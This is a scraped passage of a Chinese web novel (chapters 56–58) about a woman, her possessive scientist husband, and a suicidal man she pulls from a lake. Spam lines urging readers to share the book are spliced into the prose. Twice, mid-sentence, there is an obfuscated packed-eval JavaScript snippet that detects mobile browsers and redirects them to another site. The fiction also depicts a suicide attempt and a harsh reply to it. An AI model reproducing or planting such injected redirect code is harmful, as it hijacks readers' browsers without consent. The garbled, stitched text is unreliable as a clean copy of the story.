话还没说完顾煜猛地抬头。 那一眼凶得不像他。 眼底一点温度都没有情绪像是被彻底撕开了口子声音低沉又失控几乎是吼出来的。 “滚！” 这一下把周围的人全震住了。 平时的顾煜冷静、克制说话永远留着分寸 可现在不一样。 他整个人像是被逼到绝路理智全线崩断伸手就去推人动作又快又狠完全不像是一个搞研究的学者。 有人被他推得后退了两步脸色都白了。 “顾教授你冷静一点——” 就在顾煜几乎要挣开所有人、硬闯进去的时候—— 耳边忽然响起一道熟悉的声音。 “顾煜！” 顾煜听见这个喊声时他整个人像是被按住了像是不敢确认一样脑袋僵硬地、一点一点转了过来。 然后他看见了言昭。 好好地站在那儿。 她脸上还有点没散去的紧张正朝他走过来。 所有 听说看这本书的人都是很幸运的，分享后你的运气会更棒 人还没反应过来，顾煜已经大步走过去，当着所有人的面，一把把人抱进怀里。 力道很大，像是要把人嵌进身体里。 言昭被他抱得发疼，她抬手拍了拍他的背，声音压得很轻：“对不起，我就是去看看风景不小心看入迷了，你不要担心，我在这儿，没事。 现在的她能清楚感觉到顾煜在发抖。 他这么在意自己吗？ 此刻顾煜低着头，额头抵在她颈侧，呼吸乱得不像话，胸腔起伏得厉害，半点平日里的冷静都不剩。 …… 事情的经过已经被原原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338025|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本送到了负责人那儿。 负责人脸色难看得很，直接把那名主管叫进办公室，当场劈头盖脸骂了一通，话说得一点情面都没留。 营私舞弊、借职权欺压人、擅自对人动粗，一桩桩一件件，全被点了出来。 那主管一句话都不敢辩，脸色灰败，站都站不稳。 处理结果很快就下来了。 主管因为知道的事情太多，不能辞退，就直接被调走，不再负责这片区域的任何事务。 跟着他起哄、什么情况都没搞清楚就乱扣帽子的那两个人，因为什么都不知道，就当场辞退。 至于白策—— 负责人看了他一眼，就让他顶替这个主管位置。 白策愣了好几秒，连忙摇头拒绝：“我只是个临时工，不合适。 负责人摆了摆手，说得很直白：“这个岗位也不是什么重要职位，主要就是管住嘴巴，按规矩办事。 最主要的还是因为这位是顾教授爱人的朋友，因为这件事受到牵连。 好处还是要给到的。 本来这个岗位也不是很重要的岗位，只是需要在周围的位置不让人靠近而已。 言昭这边。 办公室里安静得过分。 言昭坐在顾煜身边，被他一只手紧紧攥着手指，力道还没完全收回去。 另一只手端着水杯，他低头喝了两口，可杯沿贴着唇的时候，那只手还是在细微地发抖。 言昭看在眼里，心口跟着紧了一下。 她往他那边靠了靠，伸手到他后背，轻轻拍了两下，声音压得很低：“你好点了吗？ 顾煜“嗯了一声。 过了两秒，他微微侧过头，语气已经压回平时的样子，却还是带着点余怒：“昭昭，我让你不要乱跑的。 言昭立刻接话：“我没乱跑。 她语速很快，把事情一股脑 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 说出来：“我就在湖边坐着，遇到一个熟人喊了一句，就被人当成坏分子，说我偷摸进来的，还要把我关起来呢。 顾煜眉头瞬间蹙起。 那股冷意刚露出来，又被他强行压了回去。 他没再追问细节，只是把她重新抱进怀里，手臂收紧，声音低低的，贴着她耳侧落下来。 “以后记住，除了我，其他人都是坏人。 言昭听见这句话，忍不住小声应了一句：“……哪有你这么说话的。 可她手还是老老实实回抱住了他。 …… 顾煜打算带着言昭离开。 哪知道两人刚走到门口，就迎面碰上了白策。 白策显然也刚出来，神情还有些恍惚，整个人明显还没从刚才的事里回过神。 言昭想了想，还是轻轻扯了扯顾煜的手，小声说：“我跟他说一下他妹妹的事。 顾煜的脸色当即沉了下来。 他明显不太乐意。 言昭小声说：“就说两句。 顾煜盯着她看了两秒，眉眼冷着，情绪明显还没完全退下去。 最后还是没再说什么，只是面无表情地跟着她一起走了过去。 站在一旁的白策，看着两人这一幕，心里那点震惊还没消，又添了一层说不清的复杂。 言昭走过去，开口把白玲玲的事简单说了一遍。 在听到言昭前面的话，白策脸色特别难看。 他沉默了几秒，才低声解释：“因为这里的工作，不能跟家里人说。所以只能跟我妹妹说去了南方。真的很谢谢你帮助了我妹妹，非常感谢。 言昭一怔。 这里的工作，竟然连家里人都不能说？ 那顾煜还把自己带了进来。 言昭摆手：“我跟玲玲关系本来就好，帮她也是应该的。只是有些事，我一个外人也不好多说。找对象这种事，我觉得还是得她自己喜欢才行。 白策用力点了点头。 就在顾煜不耐烦，要强行拉着言昭离开时。 白策在沉默了一会儿，他连忙抬头问她：“你家那套房子，是真的要卖吗？ 言昭笑着点头：“是的，打算卖。 白策的脸色明显变了变。 那一瞬间，像是有什么念头在他心里来回翻了好几遍，犹豫、挣扎，全写在脸上。 最后，他深吸了一口气，像是下定了决心，问得很认真：“请问……卖掉了吗？要是还没卖，我想买。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 言昭是真的惊讶了：“你要买？” 白策点头，嘴角扯出一点勉强的笑意，带着点苦：“本来就想着要搬出来的。最近这段时间，什么活都接，什么都肯干，也是为了攒钱买房子。” 顾煜这下是真的压不住情绪了，这种事情为什么要跟昭昭说？ 他语气冷得很直接，“我家房子四千五，你要买，就把钱准备好。” 话落，他转头看向言昭，克制着自己的语气：“昭昭，我们要回家了。你为了你那个朋友好，也别拉着她哥哥在这儿说半天。” 言昭就对着白策轻轻摆了摆手，跟着顾煜离开。 白策站在原地，看着两人离开的背影，嘴唇动了动，最后还是什么都没喊出来。 而顾煜牵着言昭，脚步很快，明显一刻都不想多留。 等到两人的身影彻底消失在走廊尽头，屋里的气氛才慢慢松动下来。 低低的议论声随之响起。 “今天的顾教授……真是第一次见。” “刚刚那样子，谁还敢拦他。” “没想到啊，平时那么冷的人，原来这么护媳妇。” 而一个建筑的顶楼。 两位高层对视了一眼，同时叹了口气。 他们知道顾煜有精神类疾病。 情绪一旦被强烈刺激，就会迅速越过理性阈值，出现自残冲动，甚至伤人的危险倾向。 今天这一出，已经很明显了。 其中一人压低声音，语气复杂：“刚才他已经有失控迹象了，要不是人找回来得快，后果真不好说。” 另一人沉默了几秒，才缓缓开口：“可你也看见了，他爱人一出现，人立刻就稳住了。” “只要她在身边，他的状态一直都很好。” 说到这儿，那人语气不自觉放缓了些。 “而且你发现没有，他最近思路特别快，研究推进得也顺。” “这两天的数据，已经有突破了。” 第57章 浑身湿透了 顾煜已经恢复成了平时的样子。 情绪收得干干净净，眼神清明，连呼吸的节奏都重新变得稳定。 他站在房间里，一手拿着一件衣服，在言昭身前比了比，又换了一件，低头看得很认真，像是在做一道需要精确计算的题。 “这个颜色衬你。”他说得很自然。 顾煜打算带她出去吃西餐。 这是因为他发现昭昭对西餐的接受度很高，吃的时候脸上都是带笑的。 此刻言昭却有点走神。 她脑子里反反复复闪的，还是不久前那个画面—— 顾煜站在警戒线前失控的样子，眼神发狠，声音发哑，整个人像是被逼到极限。 现在再看他。 眉眼还是那样，语气也还是平静的，连给她挑衣服的动作都一丝不乱。 可正因为这样，她心里反而有点发虚。 现在的言昭在考虑，要不要去寺庙里面给他请个平安符来。 言昭站在原地没动，顾煜察觉到她的走神，抬眼看了她一下。 “昭昭，怎么了？” 她回过神来，下意识摇头：“没事。” 顾煜笑着把其中一件衣服递到她手里：“昭昭换这件。” 言昭拿着衣服正要转身，忽然反应过来，睁大眼睛看着他。 “咱们房子还没整理好，床也没铺呢，怎么就要出去吃饭了？” 自己刚刚一直在走神，满脑子都是他在那边失控的样子，压根没认真听他在说什么。 顾煜看着她，歪了歪脑袋。 那张脸在若隐若无的光芒下显得过分好看，眉眼线条锋利又干净，偏偏笑意落下来时又软了几分，温柔得不像话，反倒添了点说不清的糜艳。 “刚刚我说过了。”他语调慢慢的，“你在发呆，没认真听我讲话，我很伤心。” 言昭：“……” 她一下子有点心虚。 顾煜没拆穿她，只是往前走了一步，把她手里的衣服往她怀里一按。 “先去把衣服换了，我们出去吃饭，回来再整理。” 语气已经不容商量。 言昭被他推进房间，把裙子换上。 新房子房间多了，门一关，空间一下子变得安静又宽敞，换衣服的时候也不再像以前那样手忙脚乱、心里发紧。 只是裙子穿好，她低头看了一眼。 这裙子…… 又是什么时候买的？ 自己完全没印象。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 言昭还没想明白，她刚走出来，人已经被他牵着走了出去。 顾煜站在她身后，把一件同色的外套披到她肩上，又接着牵着她坐到椅子上。 她还没反应过来，他已经站到她身后，低头替她理头发。 言昭一惊，赶紧抬手去挡：“不用弄了，就这样吧。” 顾煜低声说：“不行。” 他指尖穿过她的发丝，动作还是有点生疏，但很认真。 “我想让你好看，而且这是我特地学来的，我想试试在你身上是不是也好看。” 言昭听他这么说，只能老老实实坐着，任由他慢慢折腾。 她这边刚被他收拾妥当，门就被人敲响了。 顾煜走过去开门，外头站着两个年轻小伙子，神色明显着急，一见到他，语速很快地说了几句。 什么运算、参数、误差。 言昭听得一头雾水，只能站在一旁。 顾煜听着，眉头一点点皱紧，下意识转头看了她一眼。 那一眼里全是犹豫。 言昭立刻明白了，走过去，小声说：“你有事就先去忙，没关系的。” 顾煜没说话。 他站在那儿沉默了几秒，腮帮子微微绷着，明显在硬压什么情绪。 那两个人甚至能听见他咬牙的声音。 最后，他低低开口：“我跟你们走。” 那两人松了口气。 顾煜跟着走到言昭面前，伸手把她的手握进掌心里，力道很紧。 “我可能要两三天不能回来，家里东西我整理的差不多，就剩下一些小东西，你不弄也没关系。” 然后他看着她，语气压低了些，指腹在她手背上按了按，“你不要乱跑，要是乱跑了，我会很生气……” 言昭心口一跳，下意识点头：“我不乱跑！” 她现在知道自己不见，他会很生气了。 顾煜这才松了点力，可还是没放开她的手，又看了她一眼，像是要把人记牢了，才转身跟那两个人离开。 门关上的一瞬间，屋里安静下来。 言昭刚要松口气，门又被推开了。 她就看到顾煜折了回来。 “你怎么——” 话还没说完，他已经走到她面前。 顾煜神色很认真，叮嘱道：“我忘记跟你说了，你每天记得涂这个护手霜在手上，不要省着，用完了我再给你买，知道吗？” 言昭愣了两秒，才反应过来，点了点头：“……知道了。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 就这么一点小事还要重新回来。 她刚把护手霜接过来，就看到顾煜身后还站着那两个刚才来找他的年轻小伙子。 两人显然也没想到顾煜过来就是为了这么一件小事，他们神情都有点尴尬，但还是点头喊了一句：“嫂子。 然后顾煜是真的走了。 言昭站在原地，手里还攥着那支护手霜，一时有点哭笑不得。 明明急得要命，还能特地折回来，就为了叮嘱她涂护手霜。 他这种事无巨细的关心，总让她觉得自己被放在心上。 可这股暖意刚落下，她脑子里又不受控制地拐了个弯。 这段时间，顾煜没怎么碰她。 晚上睡觉也安静得很，连呼吸都刻意拉开距离。 言昭脸上一热，立刻抬手晃了晃脑袋。 “不想这个。 言昭把护手霜放到桌上，挽起袖子，开始打扫屋子。 新房子还没完全整理好，角落里落了点灰，窗户也得擦一擦。 接着她又把床单被套全拆下来洗了，拎到后门的小院里晾上。 后院这边太阳比前院足，光线直直地落下来。 又挨着湖边，风不小，床单被套一晃一晃的，看着就觉得干得快。 她站在院子里看了一会儿，心里莫名踏实。 等一切都忙完，言昭才发现自己出了一身薄汗，但不觉得累，反倒轻松了不少。 那种搬家后的紧绷感，慢慢散了。 她在想要不要把一楼那个能躺的椅子搬到后院来？ 晒着太阳，吹着风，躺一会儿，应该很舒服。 这个念头刚冒出来，言昭忽然听见了水声。 是那种水被拨动的声音，从不远处传过来。 言昭下意识朝湖那边看过去，她一眼就看见湖里有人。 那人半个身子已经没在水下，她心里一跳，惊呼了一声，立刻朝湖边跑过去。 她想喊人，可四周静得很，根本没人应。 再看一眼，那人已经开始往下沉了。 言昭顾不得多想，鞋都没来得及脱，直接跳进水里。 湖水比她想象中深，也冷。 她咬着牙游过去，伸手把人往上托。 可溺水的人一旦抓到支撑，本能就会用力缠上来。 这人几乎是死死抱住她的肩，言昭跟着被带得往下一沉，呛了一口水，眼前发黑了一瞬。 言昭心里发慌，还是硬撑着用尽力气把 你的朋友正在书荒，快去帮帮他吧 人往岸边拖。 好几次差点被一起拖下去，她胳膊都发酸了，才终于把人拖上岸。 她趴在地上喘了口气，这才看清楚自己救的人。 是个男人。 看起来很斯文，眉眼清秀，模样也算好看。 言昭心里一阵后悔。 可人已经救上来了，她也不能就这么不管。 因为这男人躺在地上，一点动静都没有。 言昭咬了咬牙，还是跪下来，按着他胸口用力压了几下。 下一瞬，男人猛地呛了一声，吐出一大口水。 紧接着，他睁开了眼。 视线还有些发散，却清清楚楚地，看见了蹲在他面前、浑身湿透的言昭。 言昭这会儿才后知后觉地感到冷。 湖水把她从里到外浸透了，衣服湿漉漉地贴在身上，很不舒服。 而且她还有点传统，可不想被人看到自己身上。 现在言昭见人已经醒了，本能地就想起身离开。 可她刚一动，手臂忽然被人抓住。 那男人力气不小，指尖冰凉，握得还很紧。 他又侧过头吐了两口水，声音发哑，带着明显的虚弱，却偏偏问了一句： “你为什么要救我？ 言昭：“？？？ 救人还要理由？ 她低头看着被抓住的胳膊，又抬头看了他一眼：“你掉水里了，我看见了，难道还能当没看见？ 那男人似乎被她噎住了，眼神有一瞬的空白。 言昭在知道自己做了个多余的事情后，她已经不耐烦了。 她现在只觉得冷，胳膊也酸，刚刚那一下几乎是拼了命。 “请你松手。 男人怔了怔，像是这才意识到自己抓着她，手指微微一松，还是没完全放开，目光复杂地看着她。 言昭被他看得心里不舒服，又补了一句：“你自己缓一缓，待会儿自己找人，我得回去了。 她是真不想再跟这个人多纠缠。 浑身湿透站在湖边，这事要是被人看见，怎么解释都麻烦。 可她刚要再挣一下，那男人又来一句，声音轻得几乎被风吹散。 “……我本来不想活的。 这句话一出来，言昭动作猛地一顿。 言昭一下就火了。 她上辈子就是死在水里的。 那种窒息、冰冷、无力，她到现在都忘不了。 刚刚她能跳下去救 你的朋友正在书荒，快去帮帮他吧 人是真的压着恐惧、几乎是咬着牙把人拖上来的。 胳膊到现在还在发酸发麻。 结果他醒来第一句话不是谢谢是——不想活。 言昭眼底一下冷了。 她用力把自己的胳膊抽回来动作一点都不客气声音也沉了下去。 “那你继续跳吧。” 男人一怔。 言昭站起身湿衣服贴在身上被风一吹冷得刺骨她连眉头都没皱一下只冷冷看着他。 “我这一次会当成没看到。” 她说完这句话转身就走。 湖边只剩下水声和风声。 那男人坐在地上愣愣地看着她离开的方向好一会儿 而言昭走出几步后胸口剧烈起伏了一下。 她很讨厌这种把命当儿戏的人最不配别人拼命去救。 自己这辈子能重生真的是让她相信这世上有神仙。 言昭回到家里先去换了套干衣服。 湿衣服贴在身上的感觉太难受她把那身衣服搓洗干净本来想拿去后院晾脚步走到门口又停住了。 她脑子里闪过湖边那个人的脸。 要是那人还没走碰上了更麻烦。 言昭索性把衣服拿到前院挂在阳光底下看着水一点点往下滴这才松了口气。 在她站着发呆的时候突然外面的栅栏门被敲了一下她看过去就看到门外站着两个年长的妇人。 两人都穿着干净整齐神情和气一见到她就先笑了起来。 言昭过去把门打开。 其中一个把手里的篮子往前递了递：“是顾煜教授的爱人吧？” 言昭不想接但还是被强行接住了篮子。 篮子里装着鸡蛋、点心还有用布包着的东西看着就很用心。 她还没反应过来那两位妇人已经自我介绍了几句。 言昭这才知道这两位竟然是院士的爱人。 一个姓陈一个姓卫。 “院士”这个词她在顾煜身边听过不止一次。 虽然具体是什么职位她说不太清楚但她知道这是领导而且是很厉害的领导。 言昭心里一紧连忙让开身子：“两位快请进快请进。” 两位妇人笑着走进来目光在屋里扫了一圈语气温和：“昨天刚搬过来家里就这么干净了。” 言昭一时间也不知道该怎么称呼。 叫婶儿有 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 点对人太亲近最后还是喊了陈阿姨卫阿姨。 两人就住在附近一个在前头那排楼一个就在拐角那边。 昨天自家刚搬过来她们就知道了只是想到第一天搬过来会很忙所以今天才过来。 言昭去给两人各倒了一杯红糖水。 然后就坐下来听着两位阿姨的话。 这两位阿姨倒也没多说什么正事。 只是坐了一会儿叮嘱她一句有什么不方便的地方尽管开口大家都住得 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她顺着白玲玲的话往下说：“那你先用着吧等这房子卖了送给买房子的人也行总不能浪费。” 这话一出白玲玲反倒不好再推了。 她犹豫了一下才小声应了一句：“那……那先放着吧也谢谢言昭姐姐。” 言昭这次过来其实还有件事要办。 她从袋子里又拿出一张折得整整齐齐的纸是李婶子那边要的酱料方子。 她在家里准备东西的时候就看见了顾煜已经提前帮她把方子写出来了。 她当时也就随口跟他说了一遍没想到那些材料和比例他记得清清楚楚。 言昭本来想着直接交给李婶子。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 可一问才知道李婶子不在家。 她想了想干脆直接去电影院哪知道白玲玲一听立马举手：“我也去！” 言昭看了她一眼想到什么就笑着点头：“行一起。” 李婶子这会儿正闲着坐在那儿磕着瓜子。 一抬头看到言昭明显愣了一下随即笑开了：“哎哟你怎么来了？” 言昭把方子递过去简单说明来意。 李婶子接过那张纸 她拍着腿说：“等我下班回去就把钱给你。” 言昭摆摆手：“婶子不着急。” 李婶子一听也没再客气从兜里掏出两张电影票塞给她：“拿着刚好剩的你们小年轻去看看。” 言昭也没推接了过来道了谢转身就带着白玲玲离开。 两人没多停直接往百货大楼去。 这才是言昭今天最主要的目的。 顾煜的生日快到了。 在乡下过生日也没什么讲究吃一碗长寿面就算数。 可现在条件不一样了她手里也有点钱总想给他买点什么。 她又怕自己眼光不行挑不中他喜欢的才把白玲玲也拉上想着多听听意见。 百货大楼里东西多得眼花缭乱。 白玲玲从贵的说到便宜的。 言昭一路听着可她始终觉得不是很好。 都不太对。 她站在原地想了半天眉头微微皱着。 白玲玲看了她一眼忽然说：“言昭姐姐要不送睡衣吧？这个能贴身穿着。” 这句话落下来言昭心口轻轻动了一下。 睡衣好像不错诶…… 乡下人睡觉哪有什么睡衣都是穿个穿不出去的旧衣服。 言昭也是来到京市才知道睡觉还有睡衣换。 但是言昭也是真没想到睡衣也能这么贵。 她原本以为这种不穿出去的衣服几块钱顶天了。 结果一问价那种手绣花纹的一套就要十二块。 要是买成一男一女的成套便宜一点两套二十。 她站在柜台前愣了好几秒。 售货员已经把睡衣拿出来摊开了布料柔软针脚细密花纹不是那种张扬的。 言昭一眼就觉得很适合顾煜。 只是她的目光一转又落到那套女士睡衣上。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 和男款是一套的。 颜色、花纹，一模一样。 她脸颊一下子热了。 脑子里不受控制地闪过画面—— 晚上，两个人换上同样的睡衣，躺在同一张床上。 言昭立刻别开视线，心口跳得有点快。 白玲玲站在旁边，倒是看得认真，小声说：“言昭姐姐，这个有点贵，要不要换其他的？” 言昭到底还是把那套睡衣买了。 顾煜给她买衣服的时候，眼睛都不眨一下，价格问都不多问。 买完睡衣，她又顺手给他挑了些小东西。 袜子、内裤，都是挑的素色，摸着手感好的那种。 等东西越买越多，袋子都提了好几个，她才后知后觉地想起来—— 白玲玲陪着她在百货大楼转了这么久，也该送点什么。 言昭想了想，又去柜台挑了两个发夹。 样式不花哨，但很干净，小巧精致，戴在头上不会太扎眼。 她把发夹递给白玲玲的时候，语气很自然：“这个给你。” 白玲玲一愣，立马摇头：“不行不行，这个我不能要。” 言昭直接把东西塞进她手里：“拿着吧，你陪我逛了这么久。” 白玲玲还想再推，被言昭看了一眼，只能收下。 她低头看着手里的发夹，耳朵一点点红了起来，连说话声音都轻了：“谢谢言昭姐姐。” 言昭看着她这副模样，忍不住笑了笑。 就在两人心情正好的时候，眼前就出现两个男人。 两人穿得很利索，神情严肃，目光在百货大楼里一扫，像是在找什么人。 下一秒，他们的视线同时落在言昭身上。 几乎是同时—— 两个人明显松了一口气。 那种紧绷骤然放下的感觉，连白玲玲都看出来了。 言昭被他们看得一愣，下意识往后退了半步。 白玲玲也紧张起来，手指攥紧了袋子，小声问：“言昭姐姐……他们是谁啊？” 那两个男人已经快步走了过来，站到言昭面前，语气一下子放软了。 “嫂子，您怎么在这儿？”其中一个几乎是脱口而出，声音里还带着点后怕：“可吓死我们了。” 言昭：“？” 她整个人懵了。 第58章 顾煜的思想如潮水 顾煜那边，办公室里灯光明亮。 他面无表情地看着眼前的纸张，指间夹着一根铅笔，笔尖在纸上飞快移动，一串数字接一串数字地落下，几乎没有停顿。 旁边围着不少人，全都下意识放轻了呼吸，谁也不敢出声，目光紧紧盯着纸面，生怕错过他写下的任何一个数。 正当顾煜笔下速度越来越快的时候，他忽然停住了。 铅笔悬在纸上。 周围的人以为他已经算完，下意识往前凑了几步。 哪知道顾煜站起身，抬眼看向不远处站着的两个人。 那两个人正是刚把言昭送回家的。 被他这么一看，两人立刻站直了身体，连忙低下头。 其中一人开口，语速很快，“嫂子在百货大楼逛街，刚刚我们已经把她安全送回去了，请顾教授放心。 办公室里安静了一瞬。 这都什么时候了，顾煜竟然关心的不是这个算法，而是问自己爱人的事情。 但是他们就算心痒痒，也还是都忍着。 顾煜听完，神色没有什么变化，只是唇角很轻地扬了一下。 “谢谢。 那两人连忙摇头，“应该的，都是我们该做的。 顾煜的目光在众人身上扫了一圈，神情放缓了些，唇角带着一点淡淡的笑意。 “你们可以先离开一下吗？我想问他们一些家里的事。 周围的人对顾煜的规矩还是很清楚的，他们只能点头应下，陆陆续续退出了房间。 门合上后，屋里只剩下顾煜，还有那两个人。 顾煜重新坐下，铅笔被他随手放在桌面上，视线落在他们身上，语气不急不缓。 “能不能再说详细点？ 那两个人不敢有半点敷衍，事无巨细地说了出来。 而已经离开房间的那几个人，在走廊里互相看了一眼，神情都有些无奈，又带着点了然。 最后有人轻声笑了下。 “爱老婆……也算是好事吧。 另一边。 陈阿姨和卫阿姨的丈夫，那两位领导，也已经听说了情况。 他们知道自家媳妇已经和顾煜的爱人熟悉起来，又清楚她们性子都温和，做事有分寸。 两人对视了一眼，心里那点悬着的担忧，也跟着放松了下来。 …… 夜里。 言昭躺在房间里。 房间很大，月光从窗户折射进来，让天花板的轮廓在 听说看这本书的人都是很幸运的，分享后你的运气会更棒 昏暗中显得有些空旷。 床也很大。 她平躺着整个人陷在柔软的被褥里 言昭这个时候就开始想的多。 比如她现在的日子已经和从前隔得很远了。 上辈子她是真的没想过会和顾煜过上这样的生活。 不需要为吃穿发愁。 甚至连下一顿饭都有人提前替她想好。 可人是会习惯的。 习惯身边多了一个人需要时间。 现在要重新习惯身边没有人也同样需要时间。 言昭侧过头看着另一侧空着的位置。 房间里没有多余的声音。 她忽然发现。 原来夜里可以这么安静。 言昭轻轻叹了口气。 她把被子往上拉了拉逼着自己别再乱想只想着早点睡着。 要是明天天气好就把今天买的新衣服全都洗了。 她又想起了那个被自己救下来的男人。 那句话说出口的时候她其实没多想现在回过头已经有点后悔了。 人在绝望的时候会想结束一切好像也不算稀奇。 她离开之前确实该多说几句缓和的话不该那么冷硬。 他…… 应该没有再继续做傻事吧？ 这个念头刚浮上来又被疲惫慢慢压了下去。 言昭的呼吸逐渐放缓。 没多久她就在这样的静谧里沉沉睡了过去。 言昭并不知道有个人在外面停下脚步站在路灯照不到的地方隔着一段距离看着这栋房子。 目光落在窗户上很久都没有移开。 夜色一点点变深。 他站了许久最终还是转身离开。 次日。 言昭这一觉睡得很沉大概是昨天折腾得有些累了。 等她睁开眼的时候窗外的阳光已经很亮透过玻璃落进来晃得人一惊。 她猛地坐起身心里一紧连忙下床。 大门一打开她就看到门口的凳子上放着一个饭盒。 盖子合得整整齐齐拿起来还冒着一点余温。 言昭想起来昨天那两个人说过每天都会给她打饭。 她看着饭盒好几秒忽然有点不好意思。 没想到人家真的给她送来了。 言昭也没矫情她直接吃了。 再把新买的衣服一件件拿 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 出来。 有顾煜给她买的也有她给顾煜挑的。 颜色和款式混在一起堆了不小一摞。 她挽起袖子洗衣服水声断断续续响着从早上一直忙到接近中午。 等最后一件拧干晾起来时院子里已经晒得满满当当。 绳子上挂着衣服被风吹得轻轻晃。 这时那两个阿姨又过来了。 一进门就看见满院子的衣服笑着问：“这么多衣服都是你一个人洗的？” 言昭点了点头。 “真能干。” 然后言昭这才知道这两个阿姨是专门过来喊她去参加社区聚会的。 说是这片区域的人难得凑一回大家一起吃个饭热闹热闹。 她没想到还有这种事。 紧张感慢慢冒了出来她第一反应不是别的而是有点怕自己去了会不会给顾煜丢人。 犹豫了一下还是回屋换了套新衣服。 她站在镜子前想学着顾煜之前替她整理时的那些手法低头摆弄头发。 可怎么弄都不顺。 不是松了就是歪了。 她反复试了几次最后干脆放弃只能把头发高高扎成一个马尾。 …… 言昭跟着两位阿姨过去的时候也没想到会在这里看到一个熟人。 那人就坐在门口旁边脸色偏白低垂的眼睫在眼下投出一片阴影。 最让人在意的是他的眼神。 抬眼看人的时候没有温度视线黏得很紧带着一点说不清的怪异感像是在审视又像是在盯住什么不肯放。 刚才那一眼对视让言昭后背莫名发凉。 她几乎是本能地侧过头避开了他的目光。 那男人也只是停了一瞬便重新低下头握着画笔的手指骨节分明动作很稳。 两个阿姨看到他也明显怔了一下。 “谢家小子怎么出来了？” 语气里带着惊讶还有一点不太明说的迟疑。 紧接着 她下意识吸了一口气。 言昭也是真没想到这个闹着自杀的男人身份会这么高。 那她说出口的那些话现在回想起来只觉得更不合适了。 后悔的情绪一下子压了上来。 她没敢再看他视线刻意避开神情尽量放得自然跟着两位阿姨往里走像是真的从没见过这个人。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 …… 言昭本来只是想安安静静待着。 看看这个聚会是怎么聚的，认一认人，混个脸熟就好。 可她怎么都没想到，会在转身的瞬间，被人扣住了手腕。 她还没反应过来，就被带着离开了人群，拐进一处没人的角落。 四周一下子安静下来。 言昭心口猛地一跳，抬头看清眼前的人时，神色明显乱了。 是谢临。 他站得很近，挡住了光，阴影落在他眉眼间，那种冷烈的气息压得人不太舒服。 “你要干嘛？ 她声音有些急，带着没来得及掩住的慌乱，下意识往后退了一步。 可惜后面是墙面，自己肯定逃不掉。 谢临低头看着她。 那双眼睛依旧怪异，像是压着什么情绪，目光落在她脸上，没有刚才在人前的疏离。 他忽然笑了一下。 笑意很浅，让人心里发紧。 “你能触碰我一下吗？ 言昭只觉得这个人有毛病。 她几乎是下意识地后退一步，语气一下子冷了下来。 “我有丈夫，请你自重一点。 谢临没退，反而歪了下脑袋，动作有些不合常理，像是在忍着什么不适。 “我脑袋很疼，想让你碰我一下。 他说这话的时候语调很平，听不出求助，反倒像是在陈述一件事实。 言昭愣了一下，随即皱起眉。 “……我又不是医生。 谢临点了点头，像是早就预料到她会这么说。 “我知道，但你触碰我，我脑袋不会疼。 这句话说得太笃定。 言昭只觉得荒唐又莫名，心口发紧，连多一句都不想再听。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338027|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她转身就跑。 脚步又急又快，几乎是逃一样地离开了那个角落，只想立刻回到人多的地方。 谢临没有追上去。 他站在原地停了几秒，像是被什么东西突然抽走了力气，抬手按住额角，闷闷地哼了一声，随后直接坐到了地上。 背脊贴着墙，呼吸压得很低。 明显是在强行忍着什么。 另一边。 已经跑回来的言昭，心跳还没缓下来，只觉得整件事莫名其妙得让人心里发毛。 她刚回到人群，就被陈阿姨和卫阿姨注意到了。 两人看她神色不太对，立刻把她拉到一旁。 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 “你跟谢家小子认识？” 言昭犹豫了一下，还是把救谢临这件事说了出来。 说完，她忍不住问了一句。 “那位谢先生……到底是怎么回事？他之前，为什么会想着自杀？” 两位阿姨对视了一眼。 沉默了片刻，还是开了口。 “谢临这孩子，本来就很怪，从小到大，都喜欢做一些特别刺激的事。” 语气里，带着明显的无奈。 言昭也越想越觉得那个人不太对劲。 心里隐隐发紧，也没了继续待下去的心思。 她找了个理由，说家里还有事，客气地道了别，很快就离开了聚会。 一路走回来，直到进了院门，她才明显松了口气。 熟悉的环境一下子把那点不安压了下去。 她走到院子里，伸手摸了摸晾着的衣服。 还没全干，带着一点潮意。 言昭把注意力放回这些琐碎的小事上，很快就把谢临的事情抛到了脑后。 就在这时。 院门忽然被敲响。 “咚、咚、咚。” 言昭心里猛地一跳，整个人瞬间绷紧。 脑子里几乎是第一时间闪过一个念头—— 不会是他吧？ 她下意识环顾了一圈，脚步往一旁挪了挪，正准备去拿点顺手的东西防身。 下一秒，门外响起了熟悉的声音。 “嫂子？” “嫂子在吗？” 言昭整个人放松了下来。 她快步走过去，把门打开。 门外站着的，正是昨天那两个男人。 这两个男人是过来跟她说上学的事情。 言昭听完他们的话，眼睛一下子亮了起来。 晚上可以去上课。 这个消息来得太突然，也太合她的心意。 她几乎是立刻点了头。 